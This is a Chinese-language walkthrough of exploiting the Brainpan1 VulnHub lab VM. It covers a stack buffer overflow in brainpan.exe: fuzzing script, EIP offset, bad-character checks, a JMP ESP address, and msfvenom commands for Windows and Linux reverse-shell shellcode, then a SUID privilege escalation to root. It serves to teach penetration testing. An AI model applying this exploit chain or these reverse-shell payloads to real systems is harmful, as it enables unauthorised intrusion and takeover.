vulnhub靶机-Brainpan1渗透(缓冲区溢出利用)
声明
- 本文为个人跟随b站up主红队笔记学习vulnhub的Brainpan1靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
- 该靶机下载地址为’https://vulnhub.com/entry/brainpan-1,51/’,immunity debugger下载见’https://github.com/kbandla/ImmunityDebugger’,mona模块下载和用法见’https://github.com/corelan/mona’,badchars
渗透流程
- 在vmware部署靶机并开机后,首先打开kali对靶机进行信息收集,使用nmap执行
sudo nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.154为靶机(192.168.245.136为我的kali虚拟机的地址),并进行端口发现,执行sudo nmap --min-rate 10000 -p- 192.168.245.154,并对开放端口记录用于后续渗透,发现9999和10000端口。
- 对端口进行详细扫描,执行
sudo nmap -sT -sV -sC -O -p9999,10000 192.168.245.154,9999端口是交互界面,10000端口是http服务。
- 执行
sudo nmap --script=vuln -p9999,10000 192.168.245.154用脚本扫一下漏洞,没有什么发现。
- 访问10000端口的http服务,简单浏览后用dirb进行目录爆破(其它爆破工具也可以)。

- 查看bin目录,发现brainpan.exe,先使用wget将exe文件保存下来。

- 接下来探测9999端口,使用
sudo nc 192.168.245.154 9999连接端口并尝试交互。
- 转向刚才下载的brainpan.exe,分别用file、binwalk、strings查看文件详细信息、是否有捆绑文件以及文件内容。

- 找到一个词为shitstorm,不知道是否和密码有关系。

- 再次nc连接9999端口,使用shitstorm登录,得到’ACCESS GRANTED’但是什么也没发生。

- 在windows系统上运行该exe文件。

- 尝试连接windows主机9999端口

- 从brainpan.exe的窗口看到以下信息,知道了其功能是将输入的字符存至缓冲区,可以尝试验证有没有缓冲区溢出漏洞。

- 写一个python脚本负责连接和发送:
#!/usr/bin/pythonimport socketimport timeimport sys
size = 100
while True: try: print "\n[+] Send evil buffer %s bytes" % size buffer = 'A' * size
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.245.1",9999)) s.send(buffer) s.close()
size += 100 time.sleep(3) except: print "\n[+] Could not connect." sys.exit()
14. 使用python2.7执行该代码。
15. 分别查看状态,发现在执行600字节发送后无回应,说明不超过600字节处存在溢出。
16. 使用msf-pattern_create -l 600生成指定长度唯一模式的字符串,用于测定溢出偏移量。
17. 将其写入python脚本,存入buffer变量发送。
18. 使用immunity debugger打开brainpan.exe,用于溢出的定位,程序崩溃时读出EIP内容为0x35724134。
19. 使用msf-pattern_offset -l 600 -q 35724134找到其偏移为524,即前524个字节填满缓冲区,从第525字节开始的连续4个字节(对应35724134)会覆盖 EIP。
20. 再修改python脚本,试图让EIP被四个B覆盖,后面用C填充
21. 执行前重新启动immunity debugger打开brainpan.exe,发现如愿整齐填充。
22. 继续修改让C字符扩容到500个,目的是检测能够正常存入多少字节内容,用于后续在eip后写入shellcode。
23. 记录正常存储C的首末地址,用于下一步计算。
24. 输入python,回车后对地址减法运算,得知正常填充C个数为468个,一般shellcode应该可以写入。
25. 执行git clone https://github.com/cytopia/badchars.git克隆github上的badchars库,用于筛查坏字节。
26. 将badchars写入python脚本,重新通过immunity debugger打开brainpan.exe
27. 对窗口的esp右键并点击follow in dump,经过检查从01-FF均完整显示,只有00为坏字节。
28. 用msf-nasm_shell,查询jmp esp的操作码为FFE4。
29. 使用immunity debugger的mona插件执行!mona modules进行模块查看,brainpan.exe的ASLR、SafeSEH、CFG均为False,很适合缓冲区溢出利用。
30. 执行!mona find -s "\xff\xe4" -m brainpan.exe找到跳转指令的地址为0x311712f3
31. 生成payload:执行sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.245.136 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c
32. 把shellcode写入python脚本。(此处”\x90” * 16为slide字节用于缓冲,使能精准执行后面的shellcode)
33. 在kali上打开监听,然后执行python脚本,测试成功,拿到反弹shell。
34. 执行sudo msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.245.136 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c生成linux的payload并修改(方法均与上面相同),启动监听执行脚本拿到靶机的反弹shell。
35. 使用python提高shell交互性。
36. 在按照提示执行/home/anansi/bin/anansi_util时,如图可交互处可以直接执行!/bin/bash提权。
37. 成功提权,拿到root的shell,渗透结束。

其它补充
- 步骤31的各名词解释:
- ASLR:False 表示该模块每次加载时内存地址都是固定的。意味着一旦找到可用的跳转地址,它就永远有效。
- SafeSEH:False 意味着该模块的异常处理函数没有被保护,可以被溢出攻击覆盖并劫持执行流程。
- CFG:False 表示没有启用控制流保护,攻击者可以轻松地将程序执行跳转到恶意代码上。
- 步骤38处,原理是该文件带有SUID,交互处执行指令/bin/bash开启子进程,继承权限为进程所有者root,进而拿到root的shell,这是一个经典SUID提权漏洞。
- 对于坏字节的检验:很多时候程序中,某些字节有特殊解析规则,如结束,转义等,绕开这些字节,payload才能完整正常执行。
部分信息可能已经过时







